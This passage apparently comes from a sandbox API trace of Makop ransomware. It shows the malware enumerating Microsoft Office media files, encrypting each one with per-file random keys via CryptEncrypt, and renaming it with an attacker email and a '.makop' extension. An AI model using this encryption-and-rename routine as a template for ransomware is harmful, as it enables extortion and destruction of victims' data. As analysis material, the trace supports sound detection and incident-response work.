ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0165.540] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.540] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 [0165.540] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0165.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.541] GetProcessHeap () returned 0x48a0000 [0165.541] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.541] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.541] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.542] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.545] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.546] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.546] GetProcessHeap () returned 0x48a0000 [0165.546] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.546] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.546] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.546] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.546] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.546] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.546] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.547] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.547] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.547] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.547] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4c438, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4c438, lpOverlapped=0x0) returned 1 [0165.558] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4c440, dwBufLen=0x4c440 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4c440) returned 1 [0165.562] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.562] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c440, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4c440, lpOverlapped=0x0) returned 1 [0165.564] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.564] SetEndOfFile (hFile=0x130) returned 1 [0165.571] GetProcessHeap () returned 0x48a0000 [0165.571] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.571] GetProcessHeap () returned 0x48a0000 [0165.571] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.571] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0165.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.574] CloseHandle (hObject=0x130) returned 1 [0165.574] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 0 [0165.574] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0165.574] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0165.574] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned 57 [0165.574] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*") returned 61 [0165.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0165.580] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.581] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 [0165.581] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0165.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.582] GetProcessHeap () returned 0x48a0000 [0165.582] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.582] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.583] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.583] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.583] GetProcessHeap () returned 0x48a0000 [0165.583] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.583] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.583] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.583] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.587] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.587] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.587] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.588] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.588] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.588] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.588] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3da0, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x3da0, lpOverlapped=0x0) returned 1 [0165.590] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x3da0, dwBufLen=0x3da0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x3da0) returned 1 [0165.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.590] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x3da0, lpOverlapped=0x0) returned 1 [0165.590] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.591] SetEndOfFile (hFile=0x130) returned 1 [0165.599] GetProcessHeap () returned 0x48a0000 [0165.599] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.599] GetProcessHeap () returned 0x48a0000 [0165.599] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.599] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.599] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.601] CloseHandle (hObject=0x130) returned 1 [0165.601] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18180_.WMF", cAlternateFileName="")) returned 1 [0165.601] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF") returned 70 [0165.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.604] GetProcessHeap () returned 0x48a0000 [0165.604] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.604] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.605] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0165.609] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.609] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.609] GetProcessHeap () returned 0x48a0000 [0165.609] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.609] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.609] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.610] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.610] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.610] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.610] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.610] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.611] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.611] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.611] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x926, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x926, lpOverlapped=0x0) returned 1 [0165.611] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x930, dwBufLen=0x930 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x930) returned 1 [0165.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.611] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x930, lpOverlapped=0x0) returned 1 [0165.611] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.612] SetEndOfFile (hFile=0x130) returned 1 [0165.618] GetProcessHeap () returned 0x48a0000 [0165.618] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.618] GetProcessHeap () returned 0x48a0000 [0165.618] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.618] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.620] CloseHandle (hObject=0x130) returned 1 [0165.620] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4e1600, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe4e1600, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18181_.WMF", cAlternateFileName="")) returned 1 [0165.620] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF") returned 70 [0165.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.686] GetProcessHeap () returned 0x48a0000 [0165.686] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.686] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.687] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0165.690] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.691] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.691] GetProcessHeap () returned 0x48a0000 [0165.691] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.691] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.691] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.691] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.691] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, 